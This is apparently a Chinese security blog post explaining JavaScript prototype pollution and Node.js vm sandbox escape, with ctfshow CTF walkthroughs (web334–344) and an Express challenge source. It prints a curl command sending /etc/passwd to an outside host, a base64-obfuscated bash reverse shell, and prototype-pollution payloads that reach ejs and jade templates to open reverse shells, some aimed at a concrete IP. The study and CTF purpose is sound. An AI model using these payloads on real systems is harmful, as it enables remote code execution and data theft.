js漏洞


原型链污染

深入了解JavaScript

在JavaScript中,一切皆对象

当我们创建一个js对象如

var a = {};

它会拥有一些自带的属性,如

image-20220221163610282

JavaScript中,我们如果要定义一个类,需要以定义“构造函数”的方式来定义:

image-20220221163750576

这里test()函数的内容其实就是test类的构造函数

constructor这个属性就是用于查看对象的构造函数

image-20220221164147637

接下来我们要知道prototype和**__proto__**又是什么

img

img

从类的角度讲,prototype是其一个属性,所有类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。但是类所实例化的对象并不能通过prototype访问原型,所以才有__proto__出现,且一个对象的proto属性,指向这个对象所在的类的prototype属性。

这个特性被用于实现JavaScript中的继承机制,为什么我们定义的a有 toString() 属性?这正是继承机制的作用。

对于a而言有个__proto__属性指向window.Object.prototype

这样你在调用a.toString() 的时候,a本身没有 toString,就去 a.__proro__ 上面去找 toString。

所以你调用 a.toString 的时候,实际上调用的是 window.Object.prototype.toString

image-20220221172804302

对于p神的例子我的理解是对Foo类的父类添加一个show函数,同样是利用继承来实现存在foo.show()

image-20220221173043928

总结一下

  1. prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  2. 一个对象的__proto__属性,指向这个对象所在的类的prototype属性
  3. 类在运行程序运行时是可以修改的

JavaScript的原型与原型链

这种继承机制使得JavaScript中有原型和原型链的存在

原型

①所有引用类型都有一个__proto__(隐式原型)属性,属性值是一个普通的对象
②所有函数都有一个prototype(原型)属性,属性值是一个普通的对象
③所有引用类型的__proto__属性指向构造函数的prototype

原型链

当访问一个对象的某个属性时,会先在这个对象本身属性上查找,如果没有找到,则会去它的__proto__隐式原型上查找,即它的构造函数的prototype,如果还没有找到就会再在构造函数的prototype的__proto__中查找,这样一层一层向上查找就会形成一个链式结构,我们称为原型链。

什么是原型链?

举例:

若有代码

function Parent(month){
    this.month = month;
}
var child = new Parent('Ann');
console.log(child.month); // Ann
console.log(child.father); // undefined

则在child中查找某个属性时会

这里写图片描述

什么是原型链污染

Object.prototype是一个对象,用于表示Object的原型对象。几乎所有的JavaScript对象都是Object的实例,其原型链上最后一个就是指向Object.prototype。

所以我们可以通过修改Object.prototype来实现对变量的修改

image-20220221182419388

可以看到我们将a._proto_.bar 设置为2

新定义的变量也有了bar属性,且为2

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

原型链污染的利用

当存在控制数组(对象)的“键名”的操作时,我们就可以设置__proto__的值,从而实现原型链污染

最显然的情况

obj[a][b] = value
obj[a][b][c] = value

如果控制了a,b,c及value就可以进行原型链污染的攻击,

可以控制a=__proto__,,我们就可以给object对象的原型设置一个b属性, 值为value. 这样所有继承object对象原型的实例对象会在本身不拥有b属性的情况下, 都会拥有b属性, 且值为value.

利用特殊的api

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)

例如

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

这时如果key是__proto__不就可以直接修改其原型了吗

image-20220221200009010

但是这里并没有成功,这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}})中,__proto__已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]__proto__并不是一个key,自然也不会修改Object的原型。

只有经过JSON.parse解析,才能让__proto__代表了一个key

image-20220221200323952

成功污染

参考文章:

深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)

【原型和原型链】什么是原型和原型链_沉迷学习 日渐消瘦-CSDN博客_原型链

原型链污染漏洞(一)_lonmar的博客-CSDN博客

从杭电hgame-week4学原型链污染 - 简书 (jianshu.com)

三张图搞懂JavaScript的原型对象与原型链 - 水乙 - 博客园 (cnblogs.com)

JavaScript Prototype污染攻击(CTF 例题分析)_a3320315的博客-CSDN博客

node.js 沙盒逃逸

背景

在nodejs当中了,eval始终存在着一定的问题,能够出乎意料的执行系统命令。

对于存在利用可能性的eval函数,可以使用chile_process.exec来间接调用/bash.sh。
它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

like:

读取文件:

require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;   

反弹shell:  

q=require('child_process').exec('echo YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xLzQ0NDQgMCZndDsmMQ==|base64 -d|bash');  

即bash -i >& /dev/tcp/192.168.114.1/4444 0>&1  

类eval函数:

setInteval(some_function, 2000)

setTimeout(some_function, 2000);

相当于匿名函数,即php当中create_function。

eval/Function 算是动态执行 JS,但无法屏蔽当前执行环境的上下文,但 node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击。

image-20220221225320251

在这段代码中,我们明明定义了y=2但仍然显示y不存在,这正是vm的作用

vm.runInContext()方法用于编译代码。它在contextifiedObject的上下文中运行代码,然后返回输出。此外,正在运行的代码无法访问本地范围,并且以前使用vm.createContext()方法将contextifiedObject对象上下文化。

也就是说我们将code这段要编译和运行的代码限制在了context域中,无法访问到超出上下文外的任何信息

这看起来是十分安全的方式

但在官网中有这样一段话vm 模块不是安全的机制。 不要使用它来运行不受信任的代码。

也就是说,vm模块同样有被逃逸的风险

VM逃逸

const vm = require("vm");

const ctx = {};

vm.runInNewContext('this.constructor.constructor("return process")().exit()',ctx);
console.log("Never gets executed.");

这段代码就是利用了原型链进行vm逃逸导致了程序的提前退出

创建vm环境时,首先要初始化一个对象 ctx,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。然后利用constructor来得到Function

image-20220221230610013

函数构造器就像javascript给出的最高函数,它可以访问全局范围,因此它可以返回任何全局的东西。 函数构造器允许你从一个字符串中生成一个函数,从而执行任意代码。

上述代码在执行时,this 指向 ctx 并通过原型链的方式拿到沙盒外的 Funtion,vm 虚拟机环境中的代码逃逸,获得了主线程的 process 变量,并调用 process.exit(),造成主程序非正常退出。

所以我们能够用process变量来做更多的东西

image-20220221232104068

或者这样

image-20220222145853148

参考文章

ctfshow—Node.js漏洞总结_cosmoslin的博客-CSDN博客

node.js 沙盒逃逸分析 - JavaShuo

你终于回来了(。・∀・)ノ (cnblogs.com)

Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)

CTFSHOW nodejs部分

web334

image-20220222154508492

image-20220222154516338

用户名不为CTFSHOW,还要经过大写转换后等于CTFSHOW,所以传入ctfshow密码为123456就行

image-20220222154618537

web335

js的命令执行

可以使用chile_process.exec来间接调用/bash.sh。
它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。

exec因为返回值的问题没法利用

所以这里可以用execSync

eval=require('child_process').execSync('ls')

eval=require('child_process').execSync('cat fl00g.txt')

或者spawnSync

eval=require('child_process').spawnSync('ls').stdout.toString()

eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString()

还可以用global.process.mainModule.constructor._load替代require

eval=global.process.mainModule.constructor._load('child_process').execSync('ls')

web336

过滤了exec

但是可以用spawnSync

还可以利用fs模块文件操作

eval=require('fs').readdirSync('.');
eval=require('fs').readFileSync('fl001g.txt');

web337

数组绕过,但是不同于php的数组绕过

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

传入a和b两个参数,长度相同但并不相等,同时拼接上flag的md5值相同

js有个很奇怪的特性

不能直接比较两个数组

image-20220222163045534

而且拼接字符串时也有个特性

image-20220222163227744

也就是说我们传入a[]=1&b[]=1就能完美满足if判断得到flag

而如果我们传入的是非数字索引,那么他就会变成js中的对象

对象的拼接又有这种特性

image-20220222163556092

所以我们传入a[x]=1&b[x]=2同样可以满足if判断拿到flag

image-20220222163644062

web338

common.js里有copy函数

image-20220222164222078

猜测是原型链污染

看login.js

image-20220222164251260

让secert的ctfshow属性等于36dboy

{"__proto__":{"ctfshow":"36dboy"}}

抓包之后改一下

image-20220222171254531

web339

非预期解:利用ejs模板rce漏洞

羽师傅的payload:

{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"');var _llama2"}}

反弹之前可以先关一下服务器的防火墙systemctl stop firewalld

image-20220222225454461

image-20220222225546970

几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)

CVE-2020-7699漏洞分析_gental_z的博客-CSDN博客

预期解:

登录部分

image-20220222170708843

同样的copy函数

image-20220222170726147

这里要求ctfshow=flag的内容,可我们并不知道flag

我们再看看api.js

image-20220222171015673

Function里的query变量没有被引用

如果我们可以利用原型链控制query的值,那么就能实现反弹shell的操作

但是这个是变量不是变量的属性,也能污染吗

答案是可以的

因为所有变量的最顶层都是object,当前环境没有,它会直接去寻找Object对象的属性当中是否有这个键值对是否存在

image-20220519170152098

所以我们可以构造payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}

在login页面post一下进行污染

然后访问一下api页面触发query

image-20220222203151541

web340

登录部分

image-20220222210758117

copy函数:

image-20220222210810876

这道题与web339利用点是相同的,我们同样要利用原型链污染来控制query的值达到反弹shell的目的。但是需要向上污染两级才能到达Object对象

image-20220222210739146

image-20220222210925672

所以我们的payload为

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/服务器IP/监听端口 0>&1\"')"}}}

同样传入之后访问一下api页面就行

web341

没有了api.js

所以只能用web339的那个非预期解,只是要跟web340一样向上污染两级

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/117.50.172.142/8082 0>&1\"');var _llama2"}}}

image-20220222225203273

web342-web343

同样是模板引擎的rce,不过不是之前的ejs,而是jade

再探 JavaScript 原型链污染到 RCE - 先知社区 (aliyun.com)

几个node模板引擎的原型链污染分析 | L0nm4r (lonmar.cn)

ejs原型污染rce分析 - 先知社区 (aliyun.com)

用一个payload都能打

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/117.50.172.142/8082 0>&1\"')"}}}

image-20220223144941601

web344

代码:

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

如果没有过滤,那么我们直接传入

?query={"name":"admin","password":"ctfshow","isVIP":true}

就行,但是题目把逗号和他的url编码过滤了

这时就要尝试用&绕过

nodejs 会把同名参数以数组的形式存储,并且 JSON.parse 可以正常解析

所以最终payload为

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true} 

把c也编码的原因是防止和双引号的url编码构成%22c

image-20220223150552411

1


const crypto = require('crypto');
const express = require('express');
const session = require("express-session");
const app = express();
const jwt = require("jsonwebtoken");
const fs = require("fs")
const bodyParser = require('body-parser')
session_secret = Math.random().toString(36).substr(2);
const cookieParser = require('cookie-parser');
const {json} = require("express");
app.use(cookieParser(session_secret));
app.use(bodyParser.json())
app.use(session({ secret: session_secret, resave: true, saveUninitialized: true }))
const secret = crypto.randomBytes(18).toString('hex');

app.post('/register', function (req, res) {
    const username = req.body.name;
    if ( username == 'admin'){
        res.send("admin not allowed");
        return
    }
    const token = jwt.sign({username}, secret, {algorithm: 'HS256'});
    res.send({token: token});
});

app.post('/login', function (req, res) {
    const token = req.body.auth
    try {
        jwt.verify(token, secret, {algorithm: 'HS256'},function (_,user){
            console.log(user)
            req.session.user = {"username":user.username}
        });
    }catch (e) {
        res.send("login error")
        return
    }
    res.send(req.session.user.username + " login successfully")
});


app.post('/readfile', function (req, res) {
    if (req.session.user.username !== "admin"){
        res.send("only admin can get flag")
        return
    }
    if (typeof req.body["secret"] !== "number"){
        //仅允许16进字符串
        let regex_pattern = /^[a-fA-F\d.]+$/
        if (!regex_pattern.test(req.body["secret"])){
            res.send("only valid string under 16 radix allowed")
            return
        }
    }
    if (req.body.file && parseInt(req.body["secret"],16) === 158 && parseFloat(req.body["secret"]) < 9){
        let file_param = JSON.stringify(req.body.file)
        if (file_param.includes("flag") || file_param.includes("fd")) {
            res.send("flag not allowed")
            return
        }else {
            res.setHeader("Content-Type", "text/html");
            res.send(fs.readFileSync(req.body.file || "app.js").toString())
            return
        }
    }
    res.send("try to read /flag")
});
app.get('/', function (req, res) {
    res.send('see `/src`');
});



app.get('/src', function (req, res) {
    var data = fs.readFileSync('app.js');
    res.send(data.toString());
});

app.listen(3000, function () {
    console.log('start listening on port 3000');
});

1


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录